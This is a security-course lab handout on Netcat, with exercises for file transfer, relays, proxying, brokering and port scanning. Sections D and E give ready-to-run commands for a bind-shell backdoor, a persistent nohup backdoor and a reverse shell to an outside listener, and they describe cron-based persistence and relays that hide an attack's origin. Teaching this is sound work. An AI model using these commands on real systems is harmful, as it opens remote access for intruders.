Practical 4: Netcat

Netcat is a very powerful, though conceptually simple, utility that has been described as a "Swiss army knife for TCP/IP". The concept of Netcat is based on the Unix "cat" command, which simply streams the contents of keyboard input or a file to the console or another file. Netcat extends this by allowing input to be streamed from a network connection and/or to a network connection.

Any TCP or UDP port can be used at either end of the connection. This makes it very useful for firewall bypass.

As we shall see in the exercises below, it is very effective in creating backdoors. It also supports port scanning, similarly to Nmap. For these reasons it is very popular with hackers and its use will cause some anti-virus programs to raise an alert.

Lab setup

1. You will need to use at least two machines for this lab to be interesting. These could be a virtual machine and the native laptop, or two virtual machines if you prefer. Any OS is fine. The simplest thing is probably to have a Linux VM (or two) running on your laptop and communicating with the host OS. The machines need to be able to reach each other on the network.

2. There are several different versions of Netcat including the traditional "nc" command, which works on many Linux distributions and Mac OS X. For the purpose of this lab, we will use "ncat" which is part of the nmap distribution and runs on Windows, Linux and Mac OS X.

   To download ncat for **Windows** or **Mac OS X**, just get the Windows binary for nmap at:
   http://nmap.org/download.html
   When going through the install routine, you'll see a **checkbox beside ncat**, which is an optional component.

   On **Ubuntu**, ncat is installed with nmap when you enter:
   ```
   sudo apt-get install nmap
   ```

3. You can then start using ncat with the "ncat" command in a terminal window / command prompt.

Getting Started

Netcat has two basic modes:

- **Netcat Client Mode**

  This initiates a connection to the specified port on a server and is the default. You tell it which system and port number to connect to.

  Standard Input is sent across the network (by default this is **keyboard input** but can come from a **file redirect** or the output of an application **pipe**).

  All data from the network is put on **Standard Output** (which by default is the **console**, but can be redirected to a **file** or **piped** to an application).

- **Netcat Listen Mode**

  This waits for connections on the specified port

Just like client mode, Standard Input is sent across the network and all data from the network is put on Standard Output

Netcat usage at terminal prompt:
`ncat [options] [target system] [remote port(s)]`

The following options are used most:
- `-l` listen mode (if this is omitted, client mode is used as default)
- `-p` local port
- `-e` program to execute after connection is made
- `-u` UDP mode (default is TCP)
- `-wN` timeout for connection wait (N seconds)
- `-v` verbose

Redirection and pipe operators (in case you have forgotten):
- `>` write standard output to file (instead of console)
- `<` read standard output from file (instead of keyboard)
- `|` pipe output of first program into second ; e.g. `cat *.java | grep int`

Exercises

A. Netcat for simple data transfer

Start a Netcat listener on one machine and connect to it from another machine.
Listener: `ncat -l 5000`
Client: `ncat 172.1.2.3 5000` (replacing 172.1.2.3 with the IP address or hostname of the listener)

You can choose any port number you like (replace 5000). To use a port number less than 1024, you need to be root (so use "sudo" on Linux).

You will see that anything you type on one side will be echoed on the other. This is because Netcat causes standard input/output to be read from/written to the network.

Exit Netcat with `CTRL+C`

B. Netcat using a pipe

Start a Netcat listener that sits ready to pipe to some specific text to the client.
Listener: `echo Hello world | ncat -l 5000`
Client: `ncat 172.1.2.3 5000`

Or it could be something a bit more dynamic.
Listener: `date | ncat -l 5000`
Client: `ncat 172.1.2.3 5000`

C. Netcat for file transfer over *any* port

Create a file called myfile.txt (or whatever name you like) on the listener machine and transfer to the client:
Listener: `ncat -l 5000 < myfile.txt`
Client: `ncat 172.1.2.3 5000 > mynewfile.txt` (again replacing 172.1.2.3)

This can equally be done the other way around to transfer a file from the client to the listener:

Listener: `ncat –l 5000 > mypic.jpg`
Client: `ncat 172.1.2.3 5000 < mynewpic.jpg`

Note that both ends do not need to be Netcat. Try to get a Netcat client to talk to a web server:
Client: `ncat www.wit.ie 80`
or `ncat www.wit.ie 80 > withomepage.txt`
[for this to work, you will need to send a HTTP request to the web server after connecting to it – see last week's lab]

You can use UDP instead of TCP . Imagine a situation where everything except DNS is blocked by a firewall on the client side. DNS uses UDP port 53. A file could still be transferred using:
Listener: `sudo ncat –l –u 53 < myfile.txt` (need sudo as port<1024)
Client: `ncat –u 172.1.2.3 53 > mynewfile.txt`

Hit return on the client after entering the command to send something to the server to wake it up.

Note that data could be lost when using UDP rather than TCP to transfer files.

D. Using Netcat to create a backdoor

Get a login prompt (or any other back door) at any TCP or UDP port by activating Netcat's –e ("execute") option:

Listener (if Linux): `ncat –l 5000 –e /bin/sh`
Listener (if Windows): `ncat –l 5000 –e cmd.exe`
Client: `ncat 172.1.2.3 5000`

Try it out. See that you can get a Windows command prompt from a Linux client, for example.

Any port allowed by the firewall can be used.

You can make a **persistent backdoor** on Linux using the nohup command. Nohup stands for "no hangup" and causes a program to continue to run even after you have logged out.
e.g.
Listener: `nohup ncat –l 5000 –e /bin/bash &`
(the & causes the process to be detached from the current shell)

E. Reverse shell (sometimes called shovelling a shell)

You can even "push" a shell (or any command) from the client to the listener:
Listener: `ncat –l 5000`
Client: `ncat 172.1.2.3 5000 –e /bin/sh` (replace with cmd.exe if Windows)

From the point of view of an attacker, this is quite powerful as many firewalls block incoming connections. This, however, is an *outgoing* connection and someone who breaks into a system can easily install the above client command in a script within a loop (or schedule it using *cron*), where it periodically tries to connect to the outside listener. Note that the port chosen could be 25, 53, 80, etc.

F. Netcat relays

Netcat can be configured to relay information from machine to machine to machine. This has a number of uses:

- To redirect data from existing applications through ports allowed by firewall
- To make it harder to trace the true originating point of an attack

To create **one-way** Netcat relay, you just need to pipe a netcat listener's output to the input of another netcat connection, like this:

```
ncat –l 1111 | ncat 172.3.4.5 2222
```

This will forward everything received on TCP port 1111 to port 222 on the machine 172.3.4.5.

It's a bit more tricky though to make a **two-way** Netcat relay. On Linux, the best way is to use a special file type (called a FIFO) named backpipe. To do this you enter the command

```
mknod backpipe p
```

You can see the special file created called backpipe if you type `ls`

Then you enter:

```
ncat –l 1111 0<backpipe | ncat 172.3.4.5 2222 1>backpipe
```

"0" and "1" refer to special file descriptors that refer to standard input and standard output respectively.

The output of the first ncat command is piped to the second using the standard pipe.
The output of the second ncat command is piped to the first using the backpipe.

Exercise: See if you can get a Linux shell of Windows command prompt to be relayed through an intermediate machine.

G. Netcat proxy

Netcat has a nice proxy feature.

Try the following on a remote system (access to remote shell provided in class):

```
ncat –l ––proxy–type http 8080
```
(using any port that is not blocked by the firewall)

Now change your browser's proxy settings to point to port 8080 on the remote system.

Now enter the following URLs and compare what you see with what you get with no proxy:
http://whatismyipaddress.com/
http://www.hulu.com/ (if your proxy server in the United States)
http://www.bingrewards.com (if your proxy server in the United States)

H. Netcat as a broker

Netcat can be used to allow communication between systems that otherwise are unable to connect (e.g. if they are both on separate private networks and behind NAT). A third system is set up as a netcat server and both systems connect as clients.

Server (172.1.2.3): `ncat –l 12345 –broker`
Client 1: `ncat 172.1.2.3 12345`
Client 2: `ncat 172.1.2.3 12345`

Now enter something in client 1 and see what happens on the server and client 2.

I. Netcat port and vulnerability scanning

Netcat also works as a basic port scanning tool, but is not as full-featured as nmap. The following is an example:

```
echo "QUIT" | ncat –v –w3 172.3.4.5 20–250 500–600
```

This command will attempt to connect to ports 20-250 and ports 500-600 of the target machine and send the string "QUIT" to each one, with a timeout of 3 seconds (-w3)

J. Getting Netcat to talk to existing network programs

Try to connect Netcat to existing network programs (such as web browser or web server) and document what happens

REPORT REQUIRED

Document your experience of netcat showing commands used and commenting on what happens. Try each of the above exercises.